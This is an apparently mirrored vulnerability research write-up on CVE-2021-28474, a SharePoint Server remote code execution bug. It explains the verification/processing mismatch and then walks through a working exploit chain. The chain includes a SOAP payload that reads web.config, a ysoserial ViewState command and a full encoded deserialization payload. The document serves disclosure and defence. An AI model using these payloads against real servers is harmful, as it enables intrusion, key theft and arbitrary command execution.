Lucene search

K
seebugKnownsecSSV:99294
HistoryJul 12, 2021 - 12:00 a.m.

Microsoft SharePoint Server 远程代码执行漏洞(CVE-2021-28474)

2021-07-1200:00:00
Knownsec
www.seebug.org
129

In May of 2021, Microsoft released a patch to correct CVE-2021-28474, a remote code execution bug in supported versions of Microsoft SharePoint Server. This bug was reported to ZDI by an anonymous researcher and is also known as ZDI-21-574. This blog takes a deeper look at the root cause of this vulnerability.

The vulnerability allows authenticated users to execute arbitrary .NET code on the server in the context of the service account of the SharePoint web application. For a successful attack, the attacker needs SPBasePermissions.ManageLists permissions for a SharePoint site. By default, authenticated SharePoint users can create sites/subsites and will have all necessary permissions.

The Vulnerability

This problem exists due to an inconsistency between code that is used for security verification and code that is used for the actual processing of user input.

Security verification is performed by EditingPageParser.VerifyControlOnSafeList(). This function verifies that the provided input does not contain unsafe controls, meaning any control that is not marked as safe by SafeControl elements in web.config file.

// Microsoft.SharePoint.EditingPageParser 
internal static void VerifyControlOnSafeList(string dscXml, RegisterDirectiveManager registerDirectiveManager, SPWeb web, bool blockServerSideIncludes = false) 
{ 
    Hashtable hashtable = new Hashtable(); 
    Hashtable hashtable2 = new Hashtable(); 
    List<string> list = new List<string>(); 
    EditingPageParser.InitializeRegisterTable(hashtable, registerDirectiveManager); 
    EditingPageParser.ParseStringInternal(dscXml, hashtable2, hashtable, list); 
    if (blockServerSideIncludes && list.Count > 0) 
    { 
        ULS.SendTraceTag(42059668u, ULSCat.msoulscat_WSS_General, ULSTraceLevel.Medium, "VerifyControlOnSafeList: Blocking control XML due to unsafe server side includes"); 
        throw new ArgumentException("Unsafe server-side includes", "dscXml"); 
    } 
    foreach (object obj in hashtable2) 
    { 
        Pair pair = (Pair)((DictionaryEntry)obj).Value; 
        string text = (string)pair.First; 
        string text2 = (string)pair.Second; 
        text2 = text2.ToLower(CultureInfo.InvariantCulture); 
        if (hashtable.ContainsKey(text2)) 
        { 
/*...*/ 
                    if (!web.SafeControls.IsSafeControl(web.IsAppWeb, type, out s)) 
                    { 
                        throw new SafeControls.UnsafeControlException(s); 
                    } 
                    break; 
                } 
            } 
        } 
    } 
}

The EditingPageParser.ParseStringInternal() function parses user input from dscXml and populates hashtable with information from the Register directives and hashtable2 with values from the tags of server controls. In the next step, it tries to verify each element of hashtable2 against the SafeControl elements from the web.config file. If a control is not marked there as safe, it throws an exception.

Let’s take a closer look at how values in hashtable2 are populated:

// Microsoft.SharePoint.EditingPageParser 
private static void ParseStringInternal(string text, Hashtable controls, Hashtable typeNames, IList<string> includes) 
{ 
    int num = 0; 
    int num2 = text.LastIndexOf('>'); 
    for (;;) 
    { 
        Match match; 
/*...*/ 
        if (!(match = EditingPageParser.commentRegex.Match(text, num)).Success && !(match = EditingPageParser.aspExprRegex.Match(text, num)).Success && !(match = EditingPageParser.databindExprRegex.Match(text, num)).Success && !(match = EditingPageParser.aspCodeRegex.Match(text, num)).Success) 
        { 
            if (num2 > num && (match = EditingPageParser.tagRegex.Match(text, num)).Success) 
            { 
                try 
                { 
                    EditingPageParser.HandleTagMatch(match, controls); 
/*...*/ 
 
// Microsoft.SharePoint.EditingPageParser 
private static void HandleTagMatch(Match match, Hashtable controls) 
{ 
    CaptureCollection captures = match.Groups["attrname"].Captures; 
    CaptureCollection captures2 = match.Groups["attrval"].Captures; 
    bool flag = false; 
    for (int i = 0; i < captures.Count; i++) 
    { 
        string strA = captures[i].ToString(); 
        string strA2 = captures2[i].ToString(); 
        if (string.Compare(strA, "runat", StringComparison.OrdinalIgnoreCase) == 0 && string.Compare(strA2, "server", StringComparison.OrdinalIgnoreCase) == 0) 
        { 
            flag = true; 
            break; 
        } 
    } 
    if (flag) 
    { 
        string value = match.Groups["tagname"].Value; 
        int num = value.IndexOf(':'); 
        if (num > 0 && num < value.Length - 1) 
        { 
            string x = value.Substring(num + 1); 
            string y = value.Substring(0, num); 
            controls[value] = new Pair(x, y); 
        } 
    } 
}

As we can see, the SharePoint server verifies only server-side controls (tags with the runat=“server” attribute). This is reasonable since client-side elements do not require verification.

If verification passes, SharePoint will process the provided markup. Let’s review the code that performs the processing:

// System.Web.UI.TemplateParser 
private void ParseStringInternal(string text, Encoding fileEncoding) 
{ 
    int num = 0; 
    int num2 = text.LastIndexOf('>'); 
    Regex tagRegex = base.TagRegex; 
    do 
    { 
        Match match; 
/*...*/ 
                    if (!this.flags[2] && num2 > num && (match = tagRegex.Match(text, num)).Success) 
                    { 
                        try 
                        { 
                            if (!this.ProcessBeginTag(match, text)) 
                            { 
                                flag = true; 
                            } 
/*...*/ 
 
 
// System.Web.UI.TemplateParser 
private bool ProcessBeginTag(Match match, string inputText) 
{ 
    string value = match.Groups["tagname"].Value; 
    ParsedAttributeCollection attribs; 
    string text; 
    this.ProcessAttributes(inputText, match, out attribs, false, out text); 
/*...*/ 
     
 
// System.Web.UI.TemplateParser 
private string ProcessAttributes(string text, Match match, out ParsedAttributeCollection attribs, bool fDirective, out string duplicateAttribute) 
{ 
    string text2 = string.Empty; 
    attribs = TemplateParser.CreateEmptyAttributeBag(); 
    CaptureCollection captures = match.Groups["attrname"].Captures; 
    CaptureCollection captures2 = match.Groups["attrval"].Captures; 
    CaptureCollection captureCollection = null; 
    if (fDirective) 
    { 
        captureCollection = match.Groups["equal"].Captures; 
    } 
    this.flags[1] = false; 
    this._id = null; 
    duplicateAttribute = null; 
    for (int i = 0; i < captures.Count; i++) 
    { 
        string text3 = captures[i].ToString(); 
        if (fDirective) 
        { 
            text3 = text3.ToLower(CultureInfo.InvariantCulture); 
        } 
        Capture capture = captures2[i]; 
        string text4 = capture.ToString(); 
        string empty = string.Empty; 
        string text5 = Util.ParsePropertyDeviceFilter(text3, out empty); 
        text4 = HttpUtility.HtmlDecode(text4); 
        bool flag = false; 
        if (fDirective) 
        { 
            flag = (captureCollection[i].ToString().Length > 0); 
        } 
        if (StringUtil.EqualsIgnoreCase(empty, "id")) 
        { 
            this._id = text4; 
        } 
        else if (StringUtil.EqualsIgnoreCase(empty, "runat")) 
        { 
            this.ValidateBuiltInAttribute(text5, empty, text4); 
            if (!StringUtil.EqualsIgnoreCase(text4, "server")) 
            { 
                this.ProcessError(SR.GetString("Runat_can_only_be_server")); 
            } 
            this.flags[1] = true; 
            text3 = null; 
        } 
/*...*/

As you can see, the steps for parsing content at processing time are very similar to the parsing steps at verification time. However, there is a critical one-line difference:

  text4 = HttpUtility.HtmlDecode(text4);

At processing time, attribute values are HTML-decoded by the parser, but there is no corresponding line at verification time. This means that if we have an ASPX tag with an attribute such as runat=“server”, the EditingPageParser.VerifyControlOnSafeList() function will not consider it a server-side control and will not check it for safety. At processing time, however, it will be recognized and executed as a server-side control.

Exploitation

For our attack, we will use the System.Web.UI.WebControls.Xml control. It allows us to retrieve information from an arbitrary XML file. We can use this to exfiltrate the machineKey section from web.config, which we allow us to forge an arbitrary ViewState and achieve remote code execution via ViewState deserialization.

We can see that System.Web.UI.WebControls.Xml is marked as unsafe via a SafeControl element in web.config:

<SafeControl Assembly="System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" Namespace="System.Web.UI.WebControls" TypeName="Xml" Safe="False" AllowRemoteDesigner="False" SafeAgainstScript="False" />

To deliver our payload to the server, we will use the WebPartPagesWebService.ExecuteProxyUpdates web API method that is accessible via the /_vti_bin/WebPartPages.asmx endpoint. It allows us to render ASPX markup from the OuterHtml attribute in Design mode. User input will be verified by the VerifyControlOnSafeList method.

For a successful attack, we need to provide a relative path to any existing site page:

<UpdateTransaction> 
<Update Type="Document"> 
<Document Url="SitePages/Home.aspx" ContextUrl="SitePages/Home.aspx"> 
      <Control UpdateID="9940723" NeedsPreview="true" TagName="Name1" OuterHtml="<asp:Repeater  runat="server"> <HeaderTemplate> <asp:Xml runat="server" id="xml1" DocumentSource="c:/inetpub/wwwroot/wss/VirtualDirectories/80/web.config"/>   </HeaderTemplate></asp:Repeater> " /> 
    </Document> 
    <Actions /> 
    </Update> 
</UpdateTransaction>

We can use information from the machinekey section from web.config to create a valid ViewState that will be deserialized by SharePoint. This allows us to run an arbitrary OS command via deserialization of untrusted data.

Proof of Concept

For this demonstration, we use Microsoft SharePoint Server 2019 installed with all default options on Windows Server 2019 Datacenter. The server’s computer name is sp2019.contoso.lab and it is a member of the contoso.lab domain. The domain controller is a separate virtual machine. It has been updated to the January 2021 patch (version 16.0.10370.20001‎) and a couple of users have been added, including “user2” as a regular, unprivileged user.

On the attacker side, we need any supported web browser, our PoC application for sending SOAP requests to the server, and the ysoserial.net tool. For this demonstration, we are using Firefox as our browser.

Getting Remote Code Execution

Let’s begin by visiting our SharePoint Server and authenticating as “user2”.

Let’s create a site so we will be the owner and have all permissions.

Click on “SharePoint” on the top panel:

Now click “+ Create site” link:

Choose Team Site.

Now we need to pick a name for the new site. In this case, we use ts01.

Click “Finish” and the new site will be created:

Now we need a relative path to any site page in this site. We can see list of pages by going to /SitePages/Forms/ByAuthor.aspx:

In our case, it is SitePages/Home.aspx.

Now we use our custom executable to send a request to the server that triggers the vulnerability. We need to provide the URL to our site, credentials, and the relative path determined above. In this case:

  >SP_soap_RCE_PoC.exe http://sp2019/sites/ts01/ user2 P@ssw0rd contoso "SitePages/Home.aspx"

If our attack is successful, we receive the content of web.config:

Within the file, we search for the machineKey element:

For our RCE attack, we need the value of validationKey. In this case it is:

  validationKey=”FAB45BC67E06323C48951DA2AEAF077D8786291E2748330F03B6601F09523B79”

We can also see the algorithm: validation=“HMACSHA256”.

Using this information, we can perform our remote code execution attack. Before the final step, let’s go to the target SharePoint server and open C:\windows\temp folder:

We verify there is no SP_RCE_01.txt file yet.

Now let’s go back to the “attacker” machine, and open the Success.aspx page on our site:

In this case, the URL is http://sp2019/sites/ts01/_layouts/15/success.aspx:

Now we need to open the source code view for this page and find the value of __VIEWSTATEGENERATOR:

In this example, it is AF878507.

We now have all the data needed to forge an arbitrary ViewState:

__VIEWSTATEGENERATOR=AF878507

validationKey=FAB45BC67E06323C48951DA2AEAF077D8786291E2748330F03B6601F09523B79

validationAlg=HMACSHA256

We generate the ViewState using ysoserial, as follows:

>ysoserial.exe -p ViewState -g TypeConfuseDelegate -c “echo RCE > c:/windows/temp/SP_RCE_01.txt” --generator=“AF878507” --validationkey=“FAB45BC67E06323C48951DA2AEAF077D8786291E2748330F03B6601F09523B79” --validationalg=“HMACSHA256” --islegacy --minify

View fullsize

Here is the resulting payload:

We need to URL-encode it and send it as the __VIEWSTATE parameter in the query string in a request to our server:

http://sp2019/sites/ts01/_layouts/15/success.aspx?__VIEWSTATE=%2FwEy2gcAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAABlN5c3RlbQUBAAAAQFN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLG1zY29ybGliXV0EAAAABUNvdW50CENvbXBhcmVyB1ZlcnNpb24FSXRlbXMAAQABCAgCAAAAAgAAAAkDAAAAAAAAAAkEAAAABAMAAABAU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuQ29tcGFyaXNvbkNvbXBhcmVyYDFbW1N5c3RlbS5TdHJpbmddXQEAAAALX2NvbXBhcmlzb24BCQUAAAARBAAAAAIAAAAGBgAAACsvYyBlY2hvIFJDRSA%2BIGM6L3dpbmRvd3MvdGVtcC9TUF9SQ0VfMDEudHh0BgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUAAXgBAQEJCAAAAA0ADQAECAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkAEnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQEBAQEBBgsAAACSAVN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmddLFtTeXN0ZW0uU3RyaW5nXSxbU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MsU3lzdGVtLFZlcnNpb249NC4wLjAuMCxDdWx0dXJlPW5ldXRyYWwsUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAAAIbXNjb3JsaWINAAYNAAAARlN5c3RlbSxWZXJzaW9uPTQuMC4wLjAsQ3VsdHVyZT1uZXV0cmFsLFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAABVN0YXJ0CRAAAAAECQAAAAF4BwAAAAAAAAAAAAABAQEBAQABCA0ADQANAA0ADQAAAAAAAQoAAAAJAAAABhYAAAAHQ29tcGFyZQ0ABhgAAAANU3lzdGVtLlN0cmluZw0ADQAAAAAADQABEAAAAAgAAAAGGwAAACRTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nXV0JDAAAAA0ACQwAAAAJGAAAAAkWAAAAC5nTmz9vXHLF1C5DkWIPhsB4pP5YHhCaIK%2Bh79Fa4ZeW

We paste this URL into the browser. The response appears as an error:

Nevertheless, when we check the C:\windows\temp folder on our target server again:

Our target file was successfully created, demonstrating that we achieved code execution. In the same way, an attacker can execute any OS command in the context of the SharePoint web application.

Conclusion

Microsoft patched this in May and assigned identifier CVE-2021-28474, with a CVSS score of 8.8. SharePoint continues to be an attractive target for researchers and attackers alike, and several SharePoint-related disclosures are currently in our Upcoming queue. Stay tuned to this blog for details about those bugs once they are disclosed.

Until then, follow the team for the latest in exploit techniques and security patches.